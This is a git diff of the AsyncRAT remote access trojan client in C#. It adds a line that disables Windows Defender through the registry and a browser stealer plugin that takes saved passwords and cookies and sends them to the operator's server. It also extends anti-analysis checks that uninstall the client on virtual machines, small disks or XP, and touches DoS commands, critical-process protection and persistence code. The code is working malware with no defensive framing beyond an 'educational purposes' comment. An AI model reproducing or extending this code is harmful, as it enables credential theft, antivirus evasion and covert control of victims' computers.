RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", "1");
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs b/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs
index 13a9233..b299efd 100644
--- a/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs
@@ -14,17 +14,21 @@ namespace Client.Handle_Packet
{
try
{
+ // DLL StealerLib => gitlab.com/thoxy/stealerlib
Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes());
- MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Plg");
+ MethodInfo meth = loader.GetType("StealerLib.Browsers.CaptureBrowsers").GetMethod("RecoverCredential");
+ MethodInfo meth2 = loader.GetType("StealerLib.Browsers.CaptureBrowsers").GetMethod("RecoverCookies");
object InjObj = loader.CreateInstance(meth.Name);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";
msgpack.ForcePathObject("Password").AsString = (string)meth.Invoke(InjObj, null);
+ msgpack.ForcePathObject("Cookies").AsString = (string)meth2.Invoke(InjObj, null);
ClientSocket.Send(msgpack.Encode2Bytes());
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
+ Packet.Error(ex);
}
return;
}
diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs
index d4846b7..f969353 100644
--- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs
@@ -14,7 +14,8 @@ namespace Client.Handle_Packet
{
public static class Packet
{
- public static CancellationTokenSource cts;
+ public static CancellationTokenSource ctsDos;
+ public static CancellationTokenSource ctsReportWindow;
public static FormChat GetFormChat;
public static void Read(object data)
@@ -86,6 +87,7 @@ namespace Client.Handle_Packet
}
catch { }
Methods.ClientExit();
+ Environment.Exit(0);
break;
}
@@ -99,6 +101,7 @@ namespace Client.Handle_Packet
catch { }
Process.Start(Application.ExecutablePath);
Methods.ClientExit();
+ Environment.Exit(0);
break;
}
@@ -247,14 +250,14 @@ namespace Client.Handle_Packet
case "postStart":
{
HandleDos handleDos = new HandleDos();
- cts = new CancellationTokenSource();
+ ctsDos = new CancellationTokenSource();
handleDos.DosPost(unpack_msgpack);
break;
}
case "postStop":
{
- cts.Cancel();
+ ctsDos.Cancel();
break;
}
}
@@ -291,9 +294,24 @@ namespace Client.Handle_Packet
new HandlerChat().ExitChat();
break;
}
+
+ case "pcOptions":
+ {
+ new HandlePcOptions(unpack_msgpack.ForcePathObject("Option").AsString);
+ break;
+ }
+
+ case "reportWindow":
+ {
+ new HandleReportWindow(unpack_msgpack);
+ break;
+ }
}
}
- catch { }
+ catch (Exception ex)
+ {
+ Error(ex);
+ }
}
private static void Received()
@@ -303,5 +321,13 @@ namespace Client.Handle_Packet
ClientSocket.Send(msgpack.Encode2Bytes());
}
+ public static void Error(Exception ex)
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "Error";
+ msgpack.ForcePathObject("Error").AsString = ex.Message;
+ ClientSocket.Send(msgpack.Encode2Bytes());
+ }
+
}
}
diff --git a/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs b/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs
index 076a687..ec04425 100644
--- a/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs
+++ b/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs
@@ -1,12 +1,14 @@
-using System;
+using Client.Handle_Packet;
+using System;
using System.Diagnostics;
+using System.IO;
using System.Linq;
using System.Management;
using System.Net.NetworkInformation;
using System.Runtime.InteropServices;
// │ Author : NYAN CAT
-// │ Name : Anti Analysis v0.2
+// │ Name : Anti Analysis v0.2.1
// │ Contact : https://github.com/NYAN-x-CAT
// This program is distributed for educational purposes only.
@@ -19,95 +21,56 @@ namespace Client.Helper
class Anti_Analysis
{
- private static long GB_50 = 50000000000;
public static void RunAntiAnalysis()
{
- if (DetectVirtualMachine() || DetectDebugger() || DetectSandboxie())
- Environment.FailFast(null);
+ if (DetectVirtualMachine() || DetectDebugger() || DetectSandboxie() || IsSmallDisk() || IsXP())
+ //Environment.FailFast(null);
+ new HandleUninstall();
}
- internal static bool SmallHDD()
+ private static bool IsSmallDisk()
{
-
- // Method One - main drive smaller than 50gb, likely a VM
- long driveSize = Methods.GetMainDriveSize();
- if (driveSize <= GB_50 * 2)
- return true;
-
- // Method Two - has common card of virtual machine
- //if (HasVMCard())
- //return true;
-
- // Method Three - checks for vm drivers
- if (HasVBOXDriver())
- return true;
-
- // Method Four - if machine has been on for less than 5 mins
- //if (GetUptime() < TimeSpan.FromMinutes(5))
- //return true;
-
- // Method Five - has VM mac address
- if (HasVMMac())
- return true;
-
+ try
+ {
+ long GB_60 = 61000000000;
+ if (new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize <= GB_60)
+ return true;
+ }
+ catch { }
return false;
}
- private static bool HasVMMac()
- {
- var macAddr =
- (
- from nic in NetworkInterface.GetAllNetworkInterfaces()
- where nic.OperationalStatus == OperationalStatus.Up
- select nic.GetPhysicalAddress().ToString()
- ).FirstOrDefault();
- var macs = new[]
+ private static bool IsXP()
+ {
+ if (new Microsoft.VisualBasic.Devices.ComputerInfo().OSFullName.ToLower().Contains("xp"))
{
- "00-05-69",
- "00:05:69",
- "000569",
- "00-50-56",
- "00:50:56",
- "005056",
- "00-0C-29",
- "00:0C:29",
- "000C29",
- "00-1C-14",
- "00:1C:14",
- "001C14",
- "08-00-27",
- "08:00:27",
- "080027",
- };
- foreach (string mac in macs)
- {
- if (mac == macAddr)
- return true;
+ return true;
}
return false;
}
-
-
-
private static bool DetectVirtualMachine()
{
- using (var searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
+ try
{
- using (var items = searcher.Get())
+ using (var searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
{
- foreach (var item in items)
+ using (var items = searcher.Get())
{
- string manufacturer = item["Manufacturer"].ToString().ToLower();
- if ((manufacturer == "microsoft corporation" && item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL"))
- || manufacturer.Contains("vmware")
- || item["Model"].ToString() == "VirtualBox")
+ foreach (var item in items)
{
- return true;
+ string manufacturer = item["Manufacturer"].ToString().ToLower();
+ if ((manufacturer == "microsoft corporation" && item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL"))
+ || manufacturer.Contains("vmware")
+ || item["Model"].ToString() == "VirtualBox")
+ {
+ return true;
+ }
}
}
}
}
+ catch { }
return false;
}
diff --git a/AsyncRAT-C#/Client/Helper/Methods.cs b/AsyncRAT-C#/Client/Helper/Methods.cs
index 65bdcd2..d58f0e1 100644
--- a/AsyncRAT-C#/Client/Helper/Methods.cs
+++ b/AsyncRAT-C#/Client/Helper/Methods.cs
@@ -1,5 +1,8 @@
-using System;
+using Client.Sockets;
+using System;
+using System.IO;
using System.Security.Cryptography;
+using System.Security.Principal;
using System.Text;
using System.Threading;
@@ -10,10 +13,11 @@ namespace Client.Helper
public static string HWID()
{
StringBuilder sb = new StringBuilder();
- sb.Append(Environment.UserDomainName);
+ sb.Append(Environment.ProcessorCount);
sb.Append(Environment.UserName);
sb.Append(Environment.MachineName);
- sb.Append(Environment.Version);
+ sb.Append(Environment.OSVersion);
+ sb.Append(new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize);
return GetHash(sb.ToString());
}
@@ -25,7 +29,7 @@ namespace Client.Helper
StringBuilder strResult = new StringBuilder();
foreach (byte b in bytesToHash)
strResult.Append(b.ToString("x2"));
- return strResult.ToString().Substring(0, 12).ToUpper();
+ return strResult.ToString().Substring(0, 15).ToUpper();
}
private static Mutex _appMutex;
@@ -44,12 +48,17 @@ namespace Client.Helper
}
}
+ public static bool IsAdmin()
+ {
+ return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
+ }
public static void ClientExit()
{
- if (Convert.ToBoolean(Settings.BDOS))
+ if (Convert.ToBoolean(Settings.BDOS) && IsAdmin())
ProcessCritical.Exit();
CloseMutex();
- Environment.Exit(0);
+ ClientSocket.SslClient?.Close();
+ ClientSocket.Client?.Close();
}
}
}
diff --git a/AsyncRAT-C#/Client/Helper/ProcessCritical.cs b/AsyncRAT-C#/Client/Helper/ProcessCritical.cs
index e881a65..ab8c9d5 100644
--- a/AsyncRAT-C#/Client/Helper/ProcessCritical.cs
+++ b/AsyncRAT-C#/Client/Helper/ProcessCritical.cs
@@ -1,6 +1,7 @@
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
+using System.Threading;
namespace Client.Helper
{
@@ -25,7 +26,7 @@ namespace Client.Helper
{
while(true)
{
- Thread.Sleep(100000) //prevents a BSOD on exit failure
+ Thread.Sleep(100000); //prevents a BSOD on exit failure
}
}
}
diff --git a/AsyncRAT-C#/Client/Install/NormalStartup.cs b/AsyncRAT-C#/Client/Install/NormalStartup.cs
index 7749179..421694c 100644
--- a/AsyncRAT-C#/Client/Install/NormalStartup.cs
+++ b/AsyncRAT-C#/Client/Install/NormalStartup.cs
@@ -43,7 +43,7 @@ namespace Client.Install
fs.Write(clientExe, 0, clientExe.Length);
fs.Dispose();
- if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
+ if (!Methods.IsAdmin())
{
string tempName = Path.GetTempFileName() + ".vbs";
string TempPath = Strings.StrReverse(Settings.ClientFullPath);
@@ -71,6 +71,7 @@ namespace Client.Install
}
Process.Start(Settings.ClientFullPath);
Methods.ClientExit();
+ Environment.Exit(0);
}
}
catch (Exception ex)
diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs
index ef1b9e8..e82b16c 100644
--- a/AsyncRAT-C#/Client/Program.cs
+++ b/AsyncRAT-C#/Client/Program.cs
@@ -34,7 +34,7 @@ namespace Client
if (Convert.ToBoolean(Settings.Install))
NormalStartup.Install();
- if (Convert.ToBoolean(Settings.BDOS))
+ if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin())
ProcessCritical.Set();
#if DEBUG
diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs
index d4d3911..52a521d 100644
--- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs
+++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs
@@ -116,7 +116,7 @@ namespace Client.Sockets
Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName;
msgpack.ForcePathObject("Version").AsString = Settings.Version;
- msgpack.ForcePathObject("Admin").AsString = new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator).ToString().ToLower().Replace("true", "Administrator").Replace("false", "User");
+ msgpack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower().Replace("true", "Administrator").Replace("false", "User");
TheCPUCounter.NextValue();
msgpack.ForcePathObject("Performance").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%";
msgpack.ForcePathObject("Pastebin").AsString = Settings.Pastebin;